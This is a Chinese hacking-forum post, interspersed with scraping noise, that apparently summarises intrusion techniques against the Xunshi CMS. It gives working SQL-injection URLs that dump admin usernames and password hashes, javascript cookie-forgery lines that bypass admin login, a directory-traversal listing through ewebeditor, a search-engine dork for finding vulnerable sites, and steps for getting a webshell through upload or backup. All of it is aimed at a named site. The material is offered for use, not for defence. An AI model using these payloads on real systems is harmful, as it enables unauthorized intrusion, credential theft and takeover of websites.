讯时漏洞总结

admin

by:血封忆尘

  _1 O% h  ]2 W2 ^" F6 @在网上也有什么讯时三板斧的文章..但我个人觉得有时候靠那三种还是入侵不了（随着版本的更新）
9 O3 `8 Z5 a$ E6 J% {
以下本文总结来自黑防去年第9期杂志上的内容...

先说一个注入吧:http://www.political-security.com/news_more.asp?lm=2 %41nd 1=2 union %53elect 1,2,3,0x3b%
1 z; U* R  x  W6 T+ `8 v
26user,0x3b%26pass,6,7,8 %46rom %41dmin union %53elect * %46rom lm where 1=2

1 D7 N7 g7 n& h, }+ S9 H记得千万别多了空格，我测试站的时候就发现多了空格注入不出结果的情况
% R3 h9 I8 `" X$ r) v这里一个注入
) v7 ^( ~. a" R' B" W9 {
效果如图:

0 M* `4 E- q9 m9 a+ B+ x
2 |6 r; v& P& G! F& q1 a
这样就很轻松可以得到管理用户名与密码..这里md5可以拿去破解.但是现在安全意识的提高.
. \  q. C( _/ U  L! ~" u# w- m
- z' {/ a" R/ K, I+ U, y密码复杂了..很难破出来..那么我们可以通过后来cookies欺骗进去

( r2 R/ d; r$ L$ Cjavascript:alert(document.cookie="adminuser="+escape("用户名"));javascript:alert(document.cookie="adminpass="+escape("md5值")); javascript:alert(document.cookie="admindj="+escape("1"));
% [1 O0 _5 n) y7 ~( `; t
  J0 a! k" C# F那么这里就会出现一种情况了..如果后台找不到咋办呢??请看下一漏洞让你更轻松达到你想要的效果:

2 b7 H" l6 Z0 o3 d因为讯时结合了ewebeditor程序..而它没有在处理的时候忽视了ewebeditor有个可以列目录的漏洞

它是做了验证的..但讯时最没做好的地方就是验证..我们可以通过cookies欺骗来绕过验证.从而可以

; V* m3 U" m% J7 ^访问这页面来列目录..步骤如下:
/ `) H$ c' n  k( C9 \
" ]8 G1 I+ ~3 s$ z9 v, N6 ajavascript:alert(document.cookie="admindj=1")
7 A" `. E$ C: ~9 G! i5 S
http://www.political-security.co ... asp?id=46&dir=../..
- r! L' z0 ~) v9 ?+ L! s. B  S
/ [; x8 i9 N7 a* ?$ x效果如图:
2 g& p3 [5 l' L; N3 _; I


这样全站目录都能瞧了..找到后台目录..进去..

那么进了后台怎么拿shell？？上传--备份就ok了..
1 s( j3 Y8 C1 s+ |' |7 V
那么有时候有些管理在做后台功能的时候把备份页面去掉了...而他本机里备份页面还是存在的..
! l' E1 m, s5 E" o) Z
这个我也碰到过一次..你都可以通过列目录来实现..

+ f! v  k# ~  P* L0 xjavascript:alert(document.cookie="admindj=1")

+ M1 e% y( k$ o/ V8 C& Lhttp://www.political-security.co ... p?action=BackupData
2 N! f. }9 s8 \1 i! Y
$ ~" C4 @. D" ]+ l+ X5 i备份ok..
9 ~$ n0 w0 r# h
那么以上两个漏洞都被管理封住了...咋办??上面两个是比较常见的..那么下面一个注入漏洞呢?
" {' A8 A) G: c5 z0 ^
& d7 p& a  ^/ o1 @3 n8 J" e4 e在admin目录下有个admin_lm_edit.asp页面..里面的id没有过滤 那么我们就可以先cookies下

然后访问此页面进行注入..步骤如下:
: U  M5 m% ?( |  N: e5 O% i1 ]
javascript:alert(document.cookie="adminuser=admin");alert(document.cookie="admindj=1")
. q1 |3 b) X5 J; r- N0 E
然后请求admin/admin_chk.asp页面
" O' h8 W5 \, b! H  C9 ~8 S
输入注入语句admin/admin_lm_edit.asp?id=1 %41nd 1=2 union %53elect 1,2,3,4,id%260x3b%

26user%260x3b%26pass,6,7,8%20%46rom%20%41dmin
: m% t  N+ m7 m- [0 w: M- }7 V9 E
! B  F# }9 @" v% G+ Z" q- h. U效果如图所示:
" G: t7 {+ X7 i% ^: x

+ z7 L3 P7 O/ {  ]; e
! D2 d: @' }, V讯时漏洞2
google关键字：inurl:news_more.asp?lm2= （关键字很多的自己定义吧）

1、/admin/admin_news_pl_view.asp?id=1
5 U& r0 B8 D; Y1 s//id任意 填入以下语句

; ~- i2 ?8 P: z7 T/ d. r" k2、有时1显示错误信息的时候继续往后退2，3，4，我退到11才找到了页面，郁闷！
  @7 a5 s1 U/ C. n" t


  `0 T$ X' j( K! n. h$ }3、|'+dfirst("[user]","[admin]")+chr(124)+dfirst("[pass]","[admin]"),username='
. {9 h/ Z$ M" I7 x( a+ F6 g3 l
. m9 L2 O5 T: Y$ W: o7 H$ I& b
% ^! D' p  z5 A9 j, F4 A8 S* P
爆出管理员帐号和密码了


& x& E0 ]( R& G
4、cookies进后台
6 l- g$ G: a3 H: M$ o3 v9 i
javascript:alert(document.cookie="adminuser=" + escape("admin"));alert(document.cookie="adminpass=" + escape("480d6d6b4d57cc903f3bab877248da40"));
' ~, E, S  r! ~& O
& t3 M" r6 Z" H2 J* t

) M( V& G8 t- O/ Z, ?* S. k5、后台用了cookie验证，直接访问http://www.political-security.com/admin/admin_index.asp就OK了！
- U# T6 ~5 n- K! S$ M- k6 T

( I0 Z: R  {$ e4 N
6、后台有上传和备份取SHELL不难。
0 ^& ~- I8 B7 s6 g# i5 h# m4 g( Z
7、讯时还有个列目录漏洞：http://www.political-security.co ... asp?id=46&dir=../..
& c$ r# ~/ M/ x
逍遥复仇：我搞了一个讯时cms4.1版本的没有数据库备份不知道怎么搞SHELL，有的说虽然后台显示但备份页面是存在的，登录后台后访问 http://www.political-security.com/admin/admin_db_backup.asp?action=BackupData，我这个没有，郁闷着呢，谁还有其他办法提供一下，谢谢！

' {+ L5 ^7 I( _6 G$ v+ ]